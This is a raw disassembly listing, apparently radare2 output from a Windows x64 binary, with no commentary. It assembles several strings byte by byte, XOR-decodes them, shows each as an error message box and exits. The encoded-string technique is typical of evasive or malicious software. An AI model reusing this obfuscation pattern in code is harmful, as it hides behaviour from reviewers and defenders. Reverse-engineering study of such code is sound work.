mov r9, rbx
lea r8d, [r15 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x220], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x210]
call fcn.14002e0f0
mov byte [rbp + 0x221], al
xor eax, eax
mov byte [rbp + 0x222], al
mov r8d, eax
mov r9, rbx
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x210]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x210]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x211], dil
add r8, r15
add r9, rbx
cmp r9, 0x132
jb 0x14002d205
xor edi, edi
mov byte [rbp + 0x222], dil
mov byte [rbp + 0x2a0], Ordinal_79
lea r15d, [rdi + 0x17]
mov r9d, r15d
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2a1], al
mov r9d, r15d
lea r8d, [rdi + 1]
mov dl, 0x61
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2a2], al
mov r9d, r15d
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2a3], al
mov r9d, r15d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2a4], al
mov r9d, r15d
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2a5], al
mov r9d, r15d
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2a6], al
mov r9d, r15d
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2a7], al
mov r9d, r15d
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2a8], al
mov r9d, r15d
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2a9], al
mov r9d, r15d
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2aa], al
mov r9d, r15d
lea r8d, [rdi + 0xa]
mov dl, 0x51
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2ab], al
mov r9d, r15d
lea r8d, [rdi + 0xb]
mov dl, 0x75
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2ac], al
mov r9d, r15d
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2ad], al
mov r9d, r15d
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2ae], al
mov r9d, r15d
lea r8d, [rdi + 0xe]
mov dl, 0x79
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2af], al
mov r9d, r15d
lea r8d, [rdi + 0xf]
mov dl, r14b
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2b0], al
mov r9d, r15d
mov r8, r12
mov dl, 0x50
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2b1], al
mov r9d, r15d
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2b2], al
mov r9d, r15d
lea r8d, [rdi + 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2b3], al
mov r9d, r15d
lea r8d, [rdi + 0x13]
mov dl, 0x63
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2b4], al
mov r9d, r15d
mov r8, rsi
mov dl, 0x65
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2b5], al
mov r9d, r15d
lea r8d, [rdi + 0x15]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2b6], al
mov r9d, r15d
lea r8d, [rdi + 0x16]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2a0]
call fcn.14002e8e4
mov byte [rbp + 0x2b7], al
xor eax, eax
mov byte [rbp + 0x2b8], al
mov r8d, edi
mov r9d, r15d
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x2a0]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x17]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x2a0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x2a1], dil
add r8, rbx
add r9, r15
cmp r9, 0x228
jb 0x14002d510
xor eax, eax
mov byte [rbp + 0x2b8], al
xor r9d, r9d
lea r8, [rbp + 0x211]
lea rdx, [rbp + 0x2a1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov byte [rbp + 0x368], 0x59
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x369], al
mov r9, rbx
mov r15d, 1
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x36a], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x36b], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x36c], al
mov r9, rbx
lea r8d, [r15 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x36d], al
mov r9, rbx
lea r8d, [r15 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x36e], al
mov r9, rbx
lea r8d, [r15 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x36f], al
mov r9, rbx
lea r8d, [r15 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x370], al
mov r9, rbx
lea r8d, [r15 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x371], al
mov r9, rbx
lea r8d, [r15 + 8]
mov dl, r14b
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x372], al
mov r9, rbx
lea r8d, [r15 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x373], al
mov r9, rbx
lea r8d, [r15 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x374], al
mov r9, rbx
lea r8d, [r15 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x375], al
mov r9, rbx
lea r8d, [r15 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x376], al
mov r9, rbx
lea r8d, [r15 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x377], al
mov r9, rbx
lea r8d, [r15 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x378], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + 0x379], al
xor eax, eax
mov byte [rbp + 0x37a], al
mov r13d, eax
mov r9, rbx
mov r8, r13
mov dl, byte [rbp + r13 + 0x369]
lea rcx, [rbp + 0x368]
call fcn.14002e0f0
mov byte [rbp + r13 + 0x369], al
add r13, r15
cmp r13, rbx
jb 0x14002d78a
xor eax, eax
mov byte [rbp + 0x37a], al
mov byte [rbp + 0xa90], Ordinal_41
lea r15d, [rax + 0x3d]
mov r9d, r15d
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa91], al
mov r9d, r15d
lea r8d, [r15 - 0x3c]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa92], al
mov r9d, r15d
lea r8d, [r15 - 0x3b]
mov dl, 0x76
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa93], al
mov r9d, r15d
lea r8d, [r15 - 0x3a]
mov dl, 0x61
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa94], al
mov r9d, r15d
lea r8d, [r15 - 0x39]
mov dl, 0x6c
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa95], al
mov r9d, r15d
lea r8d, [r15 - 0x38]
mov dl, 0x69
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa96], al
mov r9d, r15d
lea r8d, [r15 - 0x37]
mov dl, 0x64
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa97], al
mov r9d, r15d
lea r8d, [r15 - 0x36]
mov dl, r14b
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa98], al
mov r9d, r15d
lea r8d, [r15 - 0x35]
mov dl, 0x50
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa99], al
mov r9d, r15d
lea r8d, [r15 - 0x34]
mov dl, WSAStartup
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa9a], al
mov r9d, r15d
lea r8d, [r15 - 0x33]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa9b], al
mov r9d, r15d
lea r8d, [r15 - 0x32]
mov dl, 0x63
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa9c], al
mov r9d, r15d
lea r8d, [r15 - 0x31]
mov dl, 0x65
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa9d], al
mov r9d, r15d
lea r8d, [r15 - 0x30]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa9e], al
mov r9d, r15d
lea r8d, [r15 - 0x2f]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xa9f], al
mov r9d, r15d
lea r8d, [r15 - 0x2e]
mov dl, 0x65
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaa0], al
mov r9d, r15d
mov r8, r12
mov dl, 0x64
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaa1], al
mov r9d, r15d
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaa2], al
mov r9d, r15d
lea r8d, [r15 - 0x2b]
mov dl, 0x44
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaa3], al
mov r9d, r15d
lea r8d, [r15 - 0x2a]
mov dl, 0x61
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaa4], al
mov r9d, r15d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaa5], al
mov r9d, r15d
lea r8d, [r15 - 0x28]
mov dl, 0x61
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaa6], al
mov r9d, r15d
lea r8d, [r15 - 0x27]
mov dl, r14b
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaa7], al
mov r9d, r15d
mov r8, rdi
mov dl, 0x30
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaa8], al
mov r9d, r15d
lea r8d, [r15 - 0x25]
mov dl, 0x78
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaa9], al
mov r9d, r15d
lea r8d, [r15 - 0x24]
mov dl, 0x30
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaaa], al
mov r9d, r15d
lea r8d, [r15 - 0x23]
mov dl, r14b
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaab], al
mov r9d, r15d
lea r8d, [r15 - 0x22]
mov dl, Ordinal_41
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaac], al
mov r9d, r15d
lea r8d, [r15 - 0x21]
mov dl, 0x41
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaad], al
mov r9d, r15d
lea r8d, [r15 - 0x20]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaae], al
mov r9d, r15d
lea r8d, [r15 - 0x1f]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaaf], al
mov r9d, r15d
lea r8d, [r15 - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xab0], al
mov r9d, r15d
mov r8, r14
mov dl, 0x6d
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xab1], al
mov r9d, r15d
lea r8d, [r15 - 0x1c]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xab2], al
mov r9d, r15d
lea r8d, [r15 - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xab3], al
mov r9d, r15d
lea r8d, [r15 - 0x1a]
mov dl, r14b
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xab4], al
mov r9d, r15d
lea r8d, [r15 - 0x19]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xab5], al
mov r9d, r15d
lea r8d, [r15 - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xab6], al
mov r9d, r15d
lea r8d, [r15 - 0x17]
mov dl, r14b
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xab7], al
mov r9d, r15d
lea r8d, [r15 - 0x16]
mov dl, 0x52
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xab8], al
mov r9d, r15d
lea r8d, [r15 - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xab9], al
mov r9d, r15d
lea r8d, [r15 - 0x14]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaba], al
mov r9d, r15d
lea r8d, [r15 - 0x13]
mov dl, 0x43
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xabb], al
mov r9d, r15d
lea r8d, [r15 - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xabc], al
mov r9d, r15d
lea r8d, [r15 - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xabd], al
mov r9d, r15d
lea r8d, [r15 - 0x10]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xabe], al
mov r9d, r15d
lea r8d, [r15 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xabf], al
mov r9d, r15d
lea r8d, [r15 - 0xe]
mov dl, 0x63
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xac0], al
mov r9d, r15d
lea r8d, [r15 - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xac1], al
mov r9d, r15d
lea r8d, [r15 - 0xc]
mov dl, r14b
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xac2], al
mov r9d, r15d
lea r8d, [r15 - 0xb]
mov dl, 0x77
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xac3], al
mov r9d, r15d
lea r8d, [r15 - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xac4], al
mov r9d, r15d
lea r8d, [r15 - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xac5], al
mov r9d, r15d
lea r8d, [r15 - 8]
mov dl, 0x68
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xac6], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, r14b
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xac7], al
mov r9d, r15d
lea r8d, [r15 - 6]
mov dl, 0x61
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xac8], al
mov r9d, r15d
lea r8d, [r15 - 5]
mov dl, r14b
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xac9], al
mov r9d, r15d
lea r8d, [r15 - 4]
mov dl, 0x56
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xaca], al
mov r9d, r15d
lea r8d, [r15 - 3]
mov dl, 0x50
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xacb], al
mov r9d, r15d
lea r8d, [r15 - 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xacc], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + 0xacd], al
xor eax, eax
mov byte [rbp + 0xace], al
xor ebx, ebx
mov edi, ebx
lea esi, [rax + 1]
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa91]
lea rcx, [rbp + 0xa90]
call fcn.14002e3c4
mov byte [rbp + rdi + 0xa91], al
add rdi, rsi
cmp rdi, r15
jb 0x14002de48
mov byte [rbp + 0xace], bl
xor r9d, r9d
lea r8, [rbp + 0x369]
lea rdx, [rbp + 0xa91]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.140093e48
int3